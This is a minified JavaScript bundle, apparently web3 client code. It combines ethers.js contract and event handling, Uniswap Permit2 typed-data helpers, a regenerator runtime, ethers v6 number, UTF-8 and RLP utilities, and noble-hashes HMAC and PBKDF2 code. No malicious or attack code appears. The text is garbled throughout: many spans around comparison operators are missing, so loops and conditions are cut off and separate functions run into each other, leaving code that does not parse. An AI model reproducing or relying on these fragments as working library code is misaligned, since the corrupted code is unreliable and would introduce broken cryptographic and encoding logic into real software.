n.removeListener=()=>{r&&(t.removeListener(r),this._checkRunningEvents(t))},n.getBlock=()=>this.provider.getBlock(e.blockHash),n.getTransaction=()=>this.provider.getTransaction(e.transactionHash),n.getTransactionReceipt=()=>this.provider.getTransactionReceipt(e.transactionHash),t.prepareEvent(n),n}_addEventListener(t,e,r){if(this.provider||zr.throwError(\"events require a provider or a signer with a provider\",m.errors.UNSUPPORTED_OPERATION,{operation:\"once\"}),t.addListener(e,r),this._runningEvents[t.tag]=t,!this._wrappedEmits[t.tag]){const r=r=>{let n=this._wrapEvent(t,r,e);if(null==n.decodeError)try{const e=t.getEmit(n);this.emit(t.filter,...e)}catch(t){n.decodeError=t.error}null!=t.filter&&this.emit(\"event\",n),null!=n.decodeError&&this.emit(\"error\",n.decodeError,n)};this._wrappedEmits[t.tag]=r,null!=t.filter&&this.provider.on(t.filter,r)}}queryFilter(t,e,r){const n=this._getRunningEvent(t),A=he(n.filter);return\"string\"==typeof e&&k(e,32)?(null!=r&&zr.throwArgumentError(\"cannot specify toBlock with blockhash\",\"toBlock\",r),A.blockHash=e):(A.fromBlock=null!=e?e:0,A.toBlock=null!=r?r:\"latest\"),this.provider.getLogs(A).then((t=>t.map((t=>this._wrapEvent(n,t,null)))))}on(t,e){return this._addEventListener(this._getRunningEvent(t),e,!1),this}once(t,e){return this._addEventListener(this._getRunningEvent(t),e,!0),this}emit(t,...e){if(!this.provider)return!1;const r=this._getRunningEvent(t),n=r.run(e)>0;return this._checkRunningEvents(r),n}listenerCount(t){return this.provider?null==t?Object.keys(this._runningEvents).reduce(((t,e)=>t+this._runningEvents[e].listenerCount()),0):this._getRunningEvent(t).listenerCount():0}listeners(t){if(!this.provider)return[];if(null==t){const t=[];for(let e in this._runningEvents)this._runningEvents[e].listeners().forEach((e=>{t.push(e)}));return t}return this._getRunningEvent(t).listeners()}removeAllListeners(t){if(!this.provider)return this;if(null==t){for(const t in this._runningEvents){const e=this._runningEvents[t];e.removeAllListeners(),this._checkRunningEvents(e)}return this}const e=this._getRunningEvent(t);return e.removeAllListeners(),this._checkRunningEvents(e),this}off(t,e){if(!this.provider)return this;const r=this._getRunningEvent(t);return r.removeListener(e),this._checkRunningEvents(r),this}removeListener(t,e){return this.off(t,e)}},an=class extends sn{};var cn,hn=Object.freeze({__proto__:null,BaseContract:sn,Contract:an,ContractFactory:class{constructor(t,e,r){let n=null;n=\"string\"==typeof e?e:_(e)?S(e):e&&\"string\"==typeof e.object?e.object:\"!\",\"0x\"!==n.substring(0,2)&&(n=\"0x\"+n),(!k(n)||n.length%2)&&zr.throwArgumentError(\"invalid bytecode\",\"bytecode\",e),r&&!Lr.isSigner(r)&&zr.throwArgumentError(\"invalid signer\",\"signer\",r),se(this,\"bytecode\",n),se(this,\"interface\",ae(new.target,\"getInterface\")(t)),se(this,\"signer\",r||null)}getDeployTransaction(...t){let e={};if(t.length===this.interface.deploy.inputs.length+1&&\"object\"==typeof t[t.length-1]){e=he(t.pop());for(const t in e)if(!qr[t])throw new Error(\"unknown transaction override \"+t)}if([\"data\",\"from\",\"to\"].forEach((t=>{null!=e[t]&&zr.throwError(\"cannot override \"+t,m.errors.UNSUPPORTED_OPERATION,{operation:t})})),e.value){Y.from(e.value).isZero()||this.interface.deploy.payable||zr.throwError(\"non-payable constructor cannot override value\",m.errors.UNSUPPORTED_OPERATION,{operation:\"overrides.value\",value:e.value})}return zr.checkArgumentCount(t.length,this.interface.deploy.inputs.length,\" in Contract constructor\"),e.data=S(b([this.bytecode,this.interface.encodeDeploy(t)])),e}deploy(...t){return jr(this,void 0,void 0,(function*(){let e={};t.length===this.interface.deploy.inputs.length+1&&(e=t.pop()),zr.checkArgumentCount(t.length,this.interface.deploy.inputs.length,\" in Contract constructor\");const r=yield Vr(this.signer,t,this.interface.deploy.inputs);r.push(e);const n=this.getDeployTransaction(...r),A=yield this.signer.sendTransaction(n),i=ae(this.constructor,\"getContractAddress\")(A),o=ae(this.constructor,\"getContract\")(i,this.interface,this.signer);return Zr(o,A),se(o,\"deployTransaction\",A),o}))}attach(t){return this.constructor.getContract(t,this.interface,this.signer)}connect(t){return new this.constructor(this.interface,this.bytecode,t)}static fromSolidity(t,e){null==t&&zr.throwError(\"missing compiler output\",m.errors.MISSING_ARGUMENT,{argument:\"compilerOutput\"}),\"string\"==typeof t&&(t=JSON.parse(t));const r=t.abi;let n=null;return t.bytecode?n=t.bytecode:t.evm&&t.evm.bytecode&&(n=t.evm.bytecode),new this(r,n,e)}static getInterface(t){return an.getInterface(t)}static getContractAddress(t){return Ae(t)}static getContract(t,e,r){return new an(t,e,r)}}}),gn=r(hn);var un,ln={};\"production\"===process.env.NODE_ENV?i.exports=function(){if(cn)return o;cn=1,Object.defineProperty(o,\"__esModule\",{value:!0});var t,e=(t=s())&&\"object\"==typeof t&&\"default\"in t?t.default:t,r=Me,n=xe,A=gn,i=n.BigNumber.from(\"0xffffffffffff\"),a=n.BigNumber.from(\"0xffffffffffffffffffffffffffffffffffffffff\"),c=n.BigNumber.from(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"),h=a,g=i,u=i,l=c,f=c,p=c,d=n.BigNumber.from(0);function I(t,e){return{name:\"Permit2\",chainId:e,verifyingContract:t}}var y=[{name:\"token\",type:\"address\"},{name:\"amount\",type:\"uint160\"},{name:\"expiration\",type:\"uint48\"},{name:\"nonce\",type:\"uint48\"}],C={PermitSingle:[{name:\"details\",type:\"PermitDetails\"},{name:\"spender\",type:\"address\"},{name:\"sigDeadline\",type:\"uint256\"}],PermitDetails:y},m={PermitBatch:[{name:\"details\",type:\"PermitDetails[]\"},{name:\"spender\",type:\"address\"},{name:\"sigDeadline\",type:\"uint256\"}],PermitDetails:y},B=function(){function t(){}return t.getPermitData=function(t,r,n){p.gte(t.sigDeadline)||e(!1);var A=I(r,n);return function(t){return!Array.isArray(t.details)}(t)?(E(t.details),{domain:A,types:C,values:t}):(t.details.forEach(E),{domain:A,types:m,values:t})},t.hash=function(e,n,A){var i=t.getPermitData(e,n,A);return r._TypedDataEncoder.hash(i.domain,i.types,i.values)},t}();function E(t){u.gte(t.nonce)||e(!1),h.gte(t.amount)||e(!1),g.gte(t.expiration)||e(!1)}function w(){w=function(){return e};var t,e={},r=Object.prototype,n=r.hasOwnProperty,A=Object.defineProperty||function(t,e,r){t[e]=r.value},i=\"function\"==typeof Symbol?Symbol:{},o=i.iterator||\"@@iterator\",s=i.asyncIterator||\"@@asyncIterator\",a=i.toStringTag||\"@@toStringTag\";function c(t,e,r){return Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}),t[e]}try{c({},\"\")}catch(t){c=function(t,e,r){return t[e]=r}}function h(t,e,r,n){var i=Object.create((e&&e.prototype instanceof d?e:d).prototype),o=new S(n||[]);return A(i,\"_invoke\",{value:Q(t,r,o)}),i}function g(t,e,r){try{return{type:\"normal\",arg:t.call(e,r)}}catch(t){return{type:\"throw\",arg:t}}}e.wrap=h;var u=\"suspendedStart\",l=\"executing\",f=\"completed\",p={};function d(){}function I(){}function y(){}var C={};c(C,o,(function(){return this}));var m=Object.getPrototypeOf,B=m&&m(m(N([])));B&&B!==r&&n.call(B,o)&&(C=B);var E=y.prototype=d.prototype=Object.create(C);function v(t){[\"next\",\"throw\",\"return\"].forEach((function(e){c(t,e,(function(t){return this._invoke(e,t)}))}))}function _(t,e){function r(A,i,o,s){var a=g(t[A],t,i);if(\"throw\"!==a.type){var c=a.arg,h=c.value;return h&&\"object\"==typeof h&&n.call(h,\"__await\")?e.resolve(h.__await).then((function(t){r(\"next\",t,o,s)}),(function(t){r(\"throw\",t,o,s)})):e.resolve(h).then((function(t){c.value=t,o(c)}),(function(t){return r(\"throw\",t,o,s)}))}s(a.arg)}var i;A(this,\"_invoke\",{value:function(t,n){function A(){return new e((function(e,A){r(t,n,e,A)}))}return i=i?i.then(A,A):A()}})}function Q(e,r,n){var A=u;return function(i,o){if(A===l)throw new Error(\"Generator is already running\");if(A===f){if(\"throw\"===i)throw o;return{value:t,done:!0}}for(n.method=i,n.arg=o;;){var s=n.delegate;if(s){var a=b(s,n);if(a){if(a===p)continue;return a}}if(\"next\"===n.method)n.sent=n._sent=n.arg;else if(\"throw\"===n.method){if(A===u)throw A=f,n.arg;n.dispatchException(n.arg)}else\"return\"===n.method&&n.abrupt(\"return\",n.arg);A=l;var c=g(e,r,n);if(\"normal\"===c.type){if(A=n.done?f:\"suspendedYield\",c.arg===p)continue;return{value:c.arg,done:n.done}}\"throw\"===c.type&&(A=f,n.method=\"throw\",n.arg=c.arg)}}}function b(e,r){var n=r.method,A=e.iterator[n];if(A===t)return r.delegate=null,\"throw\"===n&&e.iterator.return&&(r.method=\"return\",r.arg=t,b(e,r),\"throw\"===r.method)||\"return\"!==n&&(r.method=\"throw\",r.arg=new TypeError(\"The iterator does not provide a '\"+n+\"' method\")),p;var i=g(A,e.iterator,r.arg);if(\"throw\"===i.type)return r.method=\"throw\",r.arg=i.arg,r.delegate=null,p;var o=i.arg;return o?o.done?(r[e.resultName]=o.value,r.next=e.nextLoc,\"return\"!==r.method&&(r.method=\"next\",r.arg=t),r.delegate=null,p):o:(r.method=\"throw\",r.arg=new TypeError(\"iterator result is not an object\"),r.delegate=null,p)}function k(t){var e={tryLoc:t[0]};1 in t&&(e.catchLoc=t[1]),2 in t&&(e.finallyLoc=t[2],e.afterLoc=t[3]),this.tryEntries.push(e)}function D(t){var e=t.completion||{};e.type=\"normal\",delete e.arg,t.completion=e}function S(t){this.tryEntries=[{tryLoc:\"root\"}],t.forEach(k,this),this.reset(!0)}function N(e){if(e||\"\"===e){var r=e[o];if(r)return r.call(e);if(\"function\"==typeof e.next)return e;if(!isNaN(e.length)){var A=-1,i=function r(){for(;++A=0;--i){var o=this.tryEntries[i],s=o.completion;if(\"root\"===o.tryLoc)return A(\"end\");if(o.tryLoc<=this.prev){var a=n.call(o,\"catchLoc\"),c=n.call(o,\"finallyLoc\");if(a&&c){if(this.prev=0;--r){var A=this.tryEntries[r];if(A.tryLoc<=this.prev&&n.call(A,\"finallyLoc\")&&this.prev=0;--e){var r=this.tryEntries[e];if(r.finallyLoc===t)return this.complete(r.completion,r.afterLoc),D(r),p}},catch:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var r=this.tryEntries[e];if(r.tryLoc===t){var n=r.completion;if(\"throw\"===n.type){var A=n.arg;D(r)}return A}}throw new Error(\"illegal catch attempt\")},delegateYield:function(e,r,n){return this.delegate={iterator:N(e),resultName:r,nextLoc:n},\"next\"===this.method&&(this.arg=t),p}},e}function v(t,e,r,n,A,i,o){try{var s=t[i](o),a=s.value}catch(t){return void r(t)}s.done?e(a):Promise.resolve(a).then(n,A)}function _(t){return function(){var e=this,r=arguments;return new Promise((function(n,A){var i=t.apply(e,r);function o(t){v(i,n,A,o,s,\"next\",t)}function s(t){v(i,n,A,o,s,\"throw\",t)}o(void 0)}))}}function Q(){return(Q=Object.assign?Object.assign.bind():function(t){for(var e=1;e=0;--i){var o=this.tryEntries[i],s=o.completion;if(\"root\"===o.tryLoc)return A(\"end\");if(o.tryLoc<=this.prev){var a=n.call(o,\"catchLoc\"),c=n.call(o,\"finallyLoc\");if(a&&c){if(this.prev=0;--r){var A=this.tryEntries[r];if(A.tryLoc<=this.prev&&n.call(A,\"finallyLoc\")&&this.prev=0;--e){var r=this.tryEntries[e];if(r.finallyLoc===t)return this.complete(r.completion,r.afterLoc),S(r),d}},catch:function(t){for(var e=this.tryEntries.length-1;e>=0;--e){var r=this.tryEntries[e];if(r.tryLoc===t){var n=r.completion;if(\"throw\"===n.type){var A=n.arg;S(r)}return A}}throw new Error(\"illegal catch attempt\")},delegateYield:function(e,r,n){return this.delegate={iterator:M(e),resultName:r,nextLoc:n},\"next\"===this.method&&(this.arg=t),d}},e}function v(t,e,r,n,A,i,o){try{var s=t[i](o),a=s.value}catch(t){return void r(t)}s.done?e(a):Promise.resolve(a).then(n,A)}function _(t){return function(){var e=this,r=arguments;return new Promise((function(n,A){var i=t.apply(e,r);function o(t){v(i,n,A,o,s,\"next\",t)}function s(t){v(i,n,A,o,s,\"throw\",t)}o(void 0)}))}}function Q(){return Q=Object.assign?Object.assign.bind():function(t){for(var e=1;et.trim()));for(let r=0;rPromise.resolve(t[e]))))).reduce(((t,r,n)=>(t[e[n]]=r,t)),{})}function yn(t,e,r){for(let n in e){let A=e[n];const i=r?r[n]:null;i&&dn(A,i,n),Object.defineProperty(t,n,{enumerable:!0,value:A,writable:!1})}}function Cn(t){if(null==t)return\"null\";if(Array.isArray(t))return\"[ \"+t.map(Cn).join(\", \")+\" ]\";if(t instanceof Uint8Array){const e=\"0123456789abcdef\";let r=\"0x\";for(let n=0;n>4],r+=e[15&t[n]];return r}if(\"object\"==typeof t&&\"function\"==typeof t.toJSON)return Cn(t.toJSON());switch(typeof t){case\"boolean\":case\"symbol\":case\"number\":return t.toString();case\"bigint\":return BigInt(t).toString();case\"string\":return JSON.stringify(t);case\"object\":{const e=Object.keys(t);return e.sort(),\"{ \"+e.map((e=>`${Cn(e)}: ${Cn(t[e])}`)).join(\", \")+\" }\"}}return\"[ COULD NOT SERIALIZE ]\"}function mn(t,e){return t&&t.code===e}function Bn(t){return mn(t,\"CALL_EXCEPTION\")}function En(t,e,r){let n,A=t;{const n=[];if(r){if(\"message\"in r||\"code\"in r||\"name\"in r)throw new Error(`value will overwrite populated values: ${Cn(r)}`);for(const t in r){if(\"shortMessage\"===t)continue;const e=r[t];n.push(t+\"=\"+Cn(e))}}n.push(`code=${e}`),n.push(`version=${pn}`),n.length&&(t+=\" (\"+n.join(\", \")+\")\")}switch(e){case\"INVALID_ARGUMENT\":n=new TypeError(t);break;case\"NUMERIC_FAULT\":case\"BUFFER_OVERRUN\":n=new RangeError(t);break;default:n=new Error(t)}return yn(n,{code:e}),r&&Object.assign(n,r),null==n.shortMessage&&yn(n,{shortMessage:A}),n}function wn(t,e,r,n){if(!t)throw En(e,r,n)}function vn(t,e,r,n){wn(t,e,\"INVALID_ARGUMENT\",{argument:r,value:n})}function _n(t,e,r){null==r&&(r=\"\"),r&&(r=\": \"+r),wn(t>=e,\"missing arguemnt\"+r,\"MISSING_ARGUMENT\",{count:t,expectedCount:e}),wn(t<=e,\"too many arguments\"+r,\"UNEXPECTED_ARGUMENT\",{count:t,expectedCount:e})}const Qn=[\"NFD\",\"NFC\",\"NFKD\",\"NFKC\"].reduce(((t,e)=>{try{if(\"test\"!==\"test\".normalize(e))throw new Error(\"bad\");if(\"NFD\"===e){const t=String.fromCharCode(233).normalize(\"NFD\");if(t!==String.fromCharCode(101,769))throw new Error(\"broken\")}t.push(e)}catch(t){}return t}),[]);function bn(t){wn(Qn.indexOf(t)>=0,\"platform missing String.prototype.normalize\",\"UNSUPPORTED_OPERATION\",{operation:\"String.prototype.normalize\",info:{form:t}})}function kn(t,e,r){if(null==r&&(r=\"\"),t!==e){let t=r,e=\"new\";r&&(t+=\".\",e+=\" \"+r),wn(!1,`private constructor; use ${t}from* methods`,\"UNSUPPORTED_OPERATION\",{operation:e})}}function Dn(t,e,r){if(t instanceof Uint8Array)return r?new Uint8Array(t):t;if(\"string\"==typeof t&&t.match(/^0x([0-9a-f][0-9a-f])*$/i)){const e=new Uint8Array((t.length-2)/2);let r=2;for(let n=0;n>4]+Fn[15&n]}return r}function Tn(t){return\"0x\"+t.map((t=>Pn(t).substring(2))).join(\"\")}function Rn(t){return Mn(t,!0)?(t.length-2)/2:Sn(t).length}function Un(t,e,r){const n=Sn(t);return null!=r&&r>n.length&&wn(!1,\"cannot slice beyond data bounds\",\"BUFFER_OVERRUN\",{buffer:n,length:n.length,offset:r}),Pn(n.slice(null==e?0:e,null==r?n.length:r))}function Gn(t,e,r){const n=Sn(t);wn(e>=n.length,\"padding exceeds data length\",\"BUFFER_OVERRUN\",{buffer:new Uint8Array(n),length:e,offset:e+1});const A=new Uint8Array(e);return A.fill(0),r?A.set(n,e-n.length):A.set(n,0),Pn(A)}function Hn(t,e){return Gn(t,e,!0)}const Ln=BigInt(0),On=BigInt(1),Yn=9007199254740991;function Kn(t,e){const r=qn(t,\"value\"),n=BigInt(Wn(e,\"width\"));if(wn(r>>n===Ln,\"overflow\",\"NUMERIC_FAULT\",{operation:\"fromTwos\",fault:\"overflow\",value:t}),r>>n-On){return-((~r&(On<=-Yn&&t<=Yn,\"overflow\",e||\"value\",t),BigInt(t);case\"string\":try{if(\"\"===t)throw new Error(\"empty string\");return\"-\"===t[0]&&\"-\"!==t[1]?-BigInt(t.substring(1)):BigInt(t)}catch(r){vn(!1,`invalid BigNumberish string: ${r.message}`,e||\"value\",t)}}vn(!1,\"invalid BigNumberish value\",e||\"value\",t)}function qn(t,e){const r=zn(t,e);return wn(r>=Ln,\"unsigned value cannot be negative\",\"NUMERIC_FAULT\",{fault:\"overflow\",operation:\"getUint\",value:t}),r}const Xn=\"0123456789abcdef\";function Vn(t){if(t instanceof Uint8Array){let e=\"0x0\";for(const r of t)e+=Xn[r>>4],e+=Xn[15&r];return BigInt(e)}return zn(t)}function Wn(t,e){switch(typeof t){case\"bigint\":return vn(t>=-Yn&&t<=Yn,\"overflow\",e||\"value\",t),Number(t);case\"number\":return vn(Number.isInteger(t),\"underflow\",e||\"value\",t),vn(t>=-Yn&&t<=Yn,\"overflow\",e||\"value\",t),t;case\"string\":try{if(\"\"===t)throw new Error(\"empty string\");return Wn(BigInt(t),e)}catch(r){vn(!1,`invalid numeric string: ${r.message}`,e||\"value\",t)}}vn(!1,\"invalid numeric value\",e||\"value\",t)}function Zn(t,e){let r=qn(t,\"value\").toString(16);if(null==e)r.length%2&&(r=\"0\"+r);else{const n=Wn(e,\"width\");for(wn(2*n>=r.length,`value exceeds width (${n} bytes)`,\"NUMERIC_FAULT\",{operation:\"toBeHex\",fault:\"overflow\",value:t});r.length<2*n;)r=\"0\"+r}return\"0x\"+r}function $n(t){const e=qn(t,\"value\");if(e===Ln)return new Uint8Array([]);let r=e.toString(16);r.length%2&&(r=\"0\"+r);const n=new Uint8Array(r.length/2);for(let t=0;t>6==2;n++)t++;return t}return\"OVERRUN\"===t?r.length-e-1:0}const sA=Object.freeze({error:function(t,e,r,n,A){vn(!1,`invalid codepoint at offset ${e}; ${t}`,\"bytes\",r)},ignore:oA,replace:function(t,e,r,n,A){return\"OVERLONG\"===t?(vn(\"number\"==typeof A,\"invalid bad code point for replacement\",\"badCodepoint\",A),n.push(A),0):(n.push(65533),oA(t,e,r))}});function aA(t,e){vn(\"string\"==typeof t,\"invalid string value\",\"str\",t),null!=e&&(bn(e),t=t.normalize(e));let r=[];for(let e=0;e>6|192),r.push(63&n|128);else if(55296==(64512&n)){e++;const A=t.charCodeAt(e);vn(e>18|240),r.push(i>>12&63|128),r.push(i>>6&63|128),r.push(63&i|128)}else r.push(n>>12|224),r.push(n>>6&63|128),r.push(63&n|128)}return new Uint8Array(r)}function cA(t,e){return r=function(t,e){null==e&&(e=sA.error);const r=Sn(t,\"bytes\"),n=[];let A=0;for(;A>7)){n.push(t);continue}let i=null,o=null;if(192==(224&t))i=1,o=127;else if(224==(240&t))i=2,o=2047;else{if(240!=(248&t)){A+=e(128==(192&t)?\"UNEXPECTED_CONTINUE\":\"BAD_PREFIX\",A-1,r,n);continue}i=3,o=65535}if(A-1+i>=r.length){A+=e(\"OVERRUN\",A-1,r,n);continue}let s=t&(1<<8-i-1)-1;for(let t=0;t1114111?A+=e(\"OUT_OF_RANGE\",A-1-i,r,n,s):s>=55296&&s<=57343?A+=e(\"UTF16_SURROGATE\",A-1-i,r,n,s):s<=o?A+=e(\"OVERLONG\",A-1-i,r,n,s):n.push(s))}return n}(t,e),r.map((t=>t<=65535?String.fromCharCode(t):(t-=65536,String.fromCharCode(55296+(t>>10&1023),56320+(1023&t))))).join(\"\");var r}const hA=BigInt(-1),gA=BigInt(0),uA=BigInt(1),lA=BigInt(5),fA={};let pA=\"0000\";for(;pA.length<80;)pA+=pA;function dA(t){let e=pA;for(;e.length=-e&&tgA?Kn(jn(t,n),n):-Kn(jn(-t,n),n)}else{const e=uA<=0&&tnull==A[t]?r:(vn(typeof A[t]===e,\"invalid fixed format (\"+t+\" not \"+e+\")\",\"format.\"+t,A[t]),A[t]);e=i(\"signed\",\"boolean\",e),r=i(\"width\",\"number\",r),n=i(\"decimals\",\"number\",n)}vn(r%8==0,\"invalid FixedNumber width (not byte aligned)\",\"format.width\",r),vn(n<=80,\"invalid FixedNumber decimals (too large)\",\"format.decimals\",n);return{signed:e,width:r,decimals:n,name:(e?\"\":\"u\")+\"fixed\"+String(r)+\"x\"+String(n)}}class CA{format;#e;#r;#n;_value;constructor(t,e,r){kn(t,fA,\"FixedNumber\"),this.#r=e,this.#e=r;const n=function(t,e){let r=\"\";t0?r*=dA(n):n<0&&(e*=dA(-n)),er?1:0}eq(t){return 0===this.cmp(t)}lt(t){return this.cmp(t)<0}lte(t){return this.cmp(t)<=0}gt(t){return this.cmp(t)>0}gte(t){return this.cmp(t)>=0}floor(){let t=this.#r;return this.#rgA&&(t+=this.#n-uA),t=this.#r/this.#n*this.#n,this.#i(t,\"ceiling\")}round(t){if(null==t&&(t=0),t>=this.decimals)return this;const e=this.decimals-t,r=lA*dA(e-1);let n=this.value+r;const A=dA(e);return n=n/A*A,IA(n,this.#e,\"round\"),new CA(fA,n,this.#e)}isZero(){return this.#r===gA}isNegative(){return this.#r0){const e=dA(o);wn(i%e===gA,\"value loses precision for format\",\"NUMERIC_FAULT\",{operation:\"fromValue\",fault:\"underflow\",value:t}),i/=e}else o<0&&(i*=dA(-o));return IA(i,A,\"fromValue\"),new CA(fA,i,A)}static fromString(t,e){const r=t.match(/^(-?)([0-9]*)\\.?([0-9]*)$/);vn(r&&r[2].length+r[3].length>0,\"invalid FixedNumber string value\",\"value\",t);const n=yA(e);let A=r[2]||\"0\",i=r[3]||\"\";for(;i.length{wn(e<=t.length,\"data short segment too short\",\"BUFFER_OVERRUN\",{buffer:t,length:t.length,offset:e})};if(t[e]>=248){const n=t[e]-247;r(e+1+n);const A=BA(t,e+1,n);return r(e+1+n+A),EA(t,e,e+1+n,n+A)}if(t[e]>=192){const n=t[e]-192;return r(e+1+n),EA(t,e,e+1,n)}if(t[e]>=184){const n=t[e]-183;r(e+1+n);const A=BA(t,e+1,n);r(e+1+n+A);return{consumed:1+n+A,result:Pn(t.slice(e+1+n,e+1+n+A))}}if(t[e]>=128){const n=t[e]-128;r(e+1+n);return{consumed:1+n,result:Pn(t.slice(e+1,e+1+n))}}return{consumed:1,result:mA(t[e])}}function vA(t){const e=Sn(t,\"data\"),r=wA(e,0);return vn(r.consumed===e.length,\"unexpected junk after rlp payload\",\"data\",t),r.result}function _A(t){const e=[];for(;t;)e.unshift(255&t),t>>=8;return e}function QA(t){if(Array.isArray(t)){let e=[];if(t.forEach((function(t){e=e.concat(QA(t))})),e.length<=55)return e.unshift(192+e.length),e;const r=_A(e.length);return r.unshift(247+r.length),r.concat(e)}const e=Array.prototype.slice.call(Sn(t,\"object\"));if(1===e.length&&e[0]<=127)return e;if(e.length<=55)return e.unshift(128+e.length),e;const r=_A(e.length);return r.unshift(183+r.length),r.concat(e)}const bA=\"0123456789abcdef\";function kA(t){let e=\"0x\";for(const r of QA(t))e+=bA[r>>4],e+=bA[15&r];return e}const DA=[\"wei\",\"kwei\",\"mwei\",\"gwei\",\"szabo\",\"finney\",\"ether\"];function SA(t,e){vn(\"string\"==typeof t,\"value must be a string\",\"value\",t);let r=18;if(\"string\"==typeof e){const t=DA.indexOf(e);vn(t>=0,\"invalid unit\",\"unit\",e),r=3*t}else null!=e&&(r=Wn(e,\"unit\"));return CA.fromString(t,{decimals:r,width:512}).value}function NA(t){const e=Sn(t,\"randomBytes\");e[6]=15&e[6]|64,e[8]=63&e[8]|128;const r=Pn(e);return[r.substring(2,10),r.substring(10,14),r.substring(14,18),r.substring(18,22),r.substring(22,34)].join(\"-\")}const MA=32,xA=new Uint8Array(MA),FA=[\"then\"],PA={};function TA(t,e){const r=new Error(`deferred error during ABI decoding triggered accessing ${t}`);throw r.error=e,r}class RA extends Array{#h;constructor(...t){const e=t[0];let r=t[1],n=(t[2]||[]).slice(),A=!0;e!==PA&&(r=t,n=[],A=!1),super(r.length),r.forEach(((t,e)=>{this[e]=t}));const i=n.reduce(((t,e)=>(\"string\"==typeof e&&t.set(e,(t.get(e)||0)+1),t)),new Map);if(this.#h=Object.freeze(r.map(((t,e)=>{const r=n[e];return null!=r&&1===i.get(r)?r:null}))),A)return Object.freeze(this),new Proxy(this,{get:(t,e,r)=>{if(\"string\"==typeof e){if(e.match(/^[0-9]+$/)){const r=Wn(e,\"%index\");if(r<0||r>=this.length)throw new RangeError(\"out of result range\");const n=t[r];return n instanceof Error&&TA(`index ${r}`,n),n}if(FA.indexOf(e)>=0)return Reflect.get(t,e,r);const n=t[e];if(n instanceof Function)return function(...e){return n.apply(this===r?t:this,e)};if(!(e in t))return t.getValue.apply(this===r?t:this,[e])}return Reflect.get(t,e,r)}})}toArray(){const t=[];return this.forEach(((e,r)=>{e instanceof Error&&TA(`index ${r}`,e),t.push(e)})),t}toObject(){return this.#h.reduce(((t,e,r)=>(wn(null!=e,\"value at index ${ index } unnamed\",\"UNSUPPORTED_OPERATION\",{operation:\"toObject()\"}),e in t||(t[e]=this.getValue(e)),t)),{})}slice(t,e){null==t&&(t=0),t<0&&(t+=this.length)<0&&(t=0),null==e&&(e=this.length),e<0&&(e+=this.length)<0&&(e=0),e>this.length&&(e=this.length);const r=[],n=[];for(let A=t;A{this.#g[t]=UA(e)}}}class LA{allowLoose;#g;#f;#p;#d;#I;constructor(t,e,r){yn(this,{allowLoose:!!e}),this.#g=Nn(t),this.#p=0,this.#d=null,this.#I=null!=r?r:1024,this.#f=0}get data(){return Pn(this.#g)}get dataLength(){return this.#g.length}get consumed(){return this.#f}get bytes(){return new Uint8Array(this.#g)}#y(t){if(this.#d)return this.#d.#y(t);this.#p+=t,wn(this.#I<1||this.#p<=this.#I*this.dataLength,`compressed ABI data exceeds inflation ratio of ${this.#I} ( see: https://github.com/ethers-io/ethers.js/issues/4537 )`,\"BUFFER_OVERRUN\",{buffer:Nn(this.#g),offset:this.#f,length:t,info:{bytesRead:this.#p,dataLength:this.dataLength}})}#C(t,e,r){let n=Math.ceil(e/MA)*MA;return this.#f+n>this.#g.length&&(this.allowLoose&&r&&this.#f+e<=this.#g.length?n=e:wn(!1,\"data out-of-bounds\",\"BUFFER_OVERRUN\",{buffer:Nn(this.#g),length:this.#g.length,offset:this.#f+n})),this.#g.slice(this.#f,this.#f+n)}subReader(t){const e=new LA(this.#g.slice(this.#f+t),this.allowLoose,this.#I);return e.#d=this,e}readBytes(t,e){let r=this.#C(0,t,!!e);return this.#y(t),this.#f+=r.length,r.slice(0,t)}readValue(){return Vn(this.readBytes(MA))}readIndex(){return Wn(Vn(this.readBytes(MA)))}}function OA(t){if(!Number.isSafeInteger(t)||t<0)throw new Error(`Wrong positive integer: ${t}`)}function YA(t,...e){if(!(t instanceof Uint8Array))throw new Error(\"Expected Uint8Array\");if(e.length>0&&!e.includes(t.length))throw new Error(`Expected Uint8Array of length ${e}, not of length=${t.length}`)}function KA(t){if(\"function\"!=typeof t||\"function\"!=typeof t.create)throw new Error(\"Hash should be wrapped by utils.wrapConstructor\");OA(t.outputLen),OA(t.blockLen)}function JA(t,e=!0){if(t.destroyed)throw new Error(\"Hash instance has been destroyed\");if(e&&t.finished)throw new Error(\"Hash#digest() has already been called\")}function jA(t,e){YA(t);const r=e.outputLen;if(t.lengtht instanceof Uint8Array,XA=t=>new Uint32Array(t.buffer,t.byteOffset,Math.floor(t.byteLength/4)),VA=t=>new DataView(t.buffer,t.byteOffset,t.byteLength),WA=(t,e)=>t<<32-e|t>>>e;\n/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */if(!(68===new Uint8Array(new Uint32Array([287454020]).buffer)[0]))throw new Error(\"Non little-endian hardware is not supported\");const ZA=async()=>{};async function $A(t,e,r){let n=Date.now();for(let A=0;A=0&&tt().update(ti(e)).digest(),r=t();return e.outputLen=r.outputLen,e.blockLen=r.blockLen,e.create=()=>t(),e}function ii(t=32){if(zA&&\"function\"==typeof zA.getRandomValues)return zA.getRandomValues(new Uint8Array(t));throw new Error(\"crypto.getRandomValues must be defined\")}class oi extends ei{constructor(t,e){super(),this.finished=!1,this.destroyed=!1,KA(t);const r=ti(e);if(this.iHash=t.create(),\"function\"!=typeof this.iHash.update)throw new Error(\"Expected instance of class which extends utils.Hash\");this.blockLen=this.iHash.blockLen,this.outputLen=this.iHash.outputLen;const n=this.blockLen,A=new Uint8Array(n);A.set(r.length>n?t.create().update(r).digest():r);for(let t=0;tnew oi(t,e).update(r).digest();function ai(t,e,r,n){KA(t);const A=ni({dkLen:32,asyncTick:10},n),{c:i,dkLen:o,asyncTick:s}=A;if(OA(i),OA(o),OA(s),i<1)throw new Error(\"PBKDF2: iterations (c) should be >= 1\");const a=ti(e),c=ti(r),h=new Uint8Array(o),g=si.create(t,a),u=g._cloneInto().update(c);return{c:i,dkLen:o,asyncTick:s,DK:h,PRF:g,PRFSalt:u}}function ci(t,e,r,n){const{c:A,dkLen:i,DK:o,PRF:s,PRFSalt:a}=ai(t,e,r,n);let c;const h=new Uint8Array(4),g=VA(h),u=new Uint8Array(s.outputLen);for(let t=1,e=0;enew oi(t,e);class hi extends ei{constructor(t,e,r,n){super(),this.blockLen=t,this.outputLen=e,this.padOffset=r,this.isLE=n,this.finished=!1,this.length=0,this.pos=0,this.destroyed=!1,this.buffer=new 